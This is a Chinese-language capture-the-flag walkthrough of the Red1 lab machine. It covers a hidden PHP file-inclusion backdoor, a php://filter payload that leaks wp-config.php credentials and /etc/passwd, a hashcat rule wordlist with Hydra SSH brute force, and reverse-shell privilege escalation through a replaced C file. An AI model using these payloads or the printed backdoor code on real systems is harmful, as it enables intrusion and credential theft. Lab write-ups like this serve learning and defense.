天天看点

Red1 靶场渗透记录

Red1 渗透靶场记录

一、ip

arp-scan扫靶场端口

Red1 靶场渗透记录

1、攻击机:Kali ip:192.168.142.128

​ 靶机:? ip:192.168.56.131

开始渗透

一、日常扫端口
Red1 靶场渗透记录

可以看到靶机开放端口22和80,还有个robots.txt文件

先打开网页瞅瞅

Red1 靶场渗透记录

主页正常打开,可以看到已经被挂了黑页~!还留了信息,说找不到后门,那就说明还是有后门呗

超链接基本打不开,更换ip后,可以正常显示,应该是DNS的问题,修改一下本机HOST文件

Red1 靶场渗透记录
Red1 靶场渗透记录

嘲讽值拉满!

二、日常扫目录

主页没有拿到什么有用的信息,打开之前扫出来robots.txt文件,查看一下也是一个正常页面,没发现什么信息

既然前面说有网站后门,扫一下php后缀的后门页面,看看是否能扫到

Red1 靶场渗透记录

什么都没扫到 =。= ||| 貌似卡关了~攻略了下,大佬说web后门用Gobuster扫描,按照大佬说的安装好工具,重新扫描一下

Red1 靶场渗透记录

扫到了!大概说明一下两个工具信息:

  • SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等
  • Gobuster这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击

访问一下这个后门php文件

Red1 靶场渗透记录

页面什么都没有~~醉了!什么玩意儿??

看了下控制台,报了500错误,猜测请求少传了参数,wfuzz爆破一下参数名

这地方Fuzz扫一会总是报错,网上查了一下,是线程太少了的原因,虚拟机限制,没办法,又尝试了其他工具都不行,所以这地方就抄一下大佬的答案吧,参数为key

Red1 靶场渗透记录
Red1 靶场渗透记录
Red1 靶场渗透记录

参数正确且可以访问文件,但是后门文件仍然为空,wordPress的配置文件也为空,攻略了下,学了一招,可以通过filter转码base64来查看网页源码

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
           
Red1 靶场渗透记录
Red1 靶场渗透记录
Red1 靶场渗透记录

首先全部拿去base64解码,结果如下

后门文件:

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
           

passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
ippsec:x:1001:1001:,,,:/home/ippsec:/bin/bash
oxdf:x:1002:1002:,,,:/home/oxdf:/bin/bash
           

wp-config.php

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:[email protected]]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[[email protected]');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

           

一个一个分析吧,首先后门文件里面有句注释也转码看看

That password alone won’t help you! Hashcat says rules are rules

译:单纯密码帮不了你,Hashcat说规则就是规则!

passwd文件可以看到:john , ippsec,oxdf 有这3个用户也可以登录

配置文件:貌似拿到了数据库用户名和密码:define( ‘DB_USER’, ‘john’ );

define( ‘DB_USER’, ‘john’ );

define( ‘DB_PASSWORD’, ‘R3v_m4lwh3r3_k1nG!!’ );

HashCat没用过,简单百度学习了下,破解密码的工具,也可以生成密码,这里说按照规则,那应该就是生成密码,规则是什么?不太懂,攻略了下,没看出个所以然,就说用base64,可能跟上面提示有关吧

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
           

将密码存储pass.txt中,通过-r 规则来将结果输出到passlist.txt中

Red1 靶场渗透记录

生成了一大堆,接着九头蛇登场

九头蛇万岁!

Red1 靶场渗透记录

成功扫出,登录试一下

Red1 靶场渗透记录

成功登录!开始提权!

home目录下有一个文件,cat一下

Red1 靶场渗透记录

”蓝队的cat命令有一点点麻烦“ - 额。。完全没有get到什么意思

还是像之前一样,查一下root权限文件

Red1 靶场渗透记录

我靠!!红队还会发来嘲讽!!!哈哈哈哈哈有意思!

Red1 靶场渗透记录

哈哈哈哈哈~

Red1 靶场渗透记录

查出一堆,文件名中没看出什么有用的文件,红队还踢我下线,卧槽!!

Red1 靶场渗透记录

这货连密码都每次更改,重新爆破了一下,发现vim 和 cat命令被调换,另外,发现 ippsec这个用户可以不用密码执行time文件,攻略了下,time可以提权

首先得先解决T我下线的这个问题,尝试反弹shell一下

Red1 靶场渗透记录

发现反弹shell后,还是会断掉!我靠!

想要hydra爆破出ippsec的密码,看ippsec是否被T掉,发现爆破失败,才想起来,提示的那个密码是属于john的,看来只能用john来登录了

卡关了~~~攻略一下吧

之前提示ippsec这个账号执行time不需要密码,所以通过sudo -u ippsec …来切换到了ippsec账户上,但是正当执行下一步时,又被T了,很烦

Red1 靶场渗透记录

继续攻略~需要建立一个完整交互式shell,据说不会中断,按照攻略建立一下,先john登录好之后

Red1 靶场渗透记录

因为总被T,所以快速弄完了,文字描述一下,john登录靶机后,通过

kali监听

成功反弹shell

升级shell

python3 -c 'import pty;pty.spawn("/bin/bash")' #使用python生成一个完整的shell
export TERM=xterm #这里按下Ctrl+z返回一下,设置虚拟终端类型,有什么用暂不清楚
stty raw -echo;fg #输入reset, 这里是设置当前shell透传指令到反弹shell里,Ctrl+C不会中断nc而是直接透传到新的shell里
           

这里其实没太理解,只查到了此为升级完整shell的代码,后续再学习一下吧,有大佬懂的,还请指教一下

需要下载 pspy64s 来查看靶机运行的进程,寻找一直弹消息的进程和后门

下载好之后,chmod赋权执行,但是这个地方一直死循环,=。=|||| 正在寻找解决办法,而且反弹shell后,界面好恶心

Red1 靶场渗透记录

变成了这个样子,恶心死了~~,其实已经看到backdoor文件,和网站目录下的文件,停不下来就离谱,只好关掉重新来过

Red1 靶场渗透记录

supersecretfileuc.c文件为C语言代码,可以看到就是弹消息的程序,可以删掉

Red1 靶场渗透记录

只读文件,不让删,那就连文件一起干掉!!!!

下面去找一个c的提权shell,换成这个名字,放进去,就会自动执行,然后完成提权

Red1 靶场渗透记录
Red1 靶场渗透记录

kali中写好文件,文件名supersecretfileuc.c保存好

Red1 靶场渗透记录

kali开启http服务,端口为8000

靶机连接下载改文件

Red1 靶场渗透记录

靶机会自动执行,按照shell文件,kali监听9001端口

Red1 靶场渗透记录

发现,已经监听到靶机,成功执行shell文件

Red1 靶场渗透记录

提权成功!拔旗!!

渗透结束!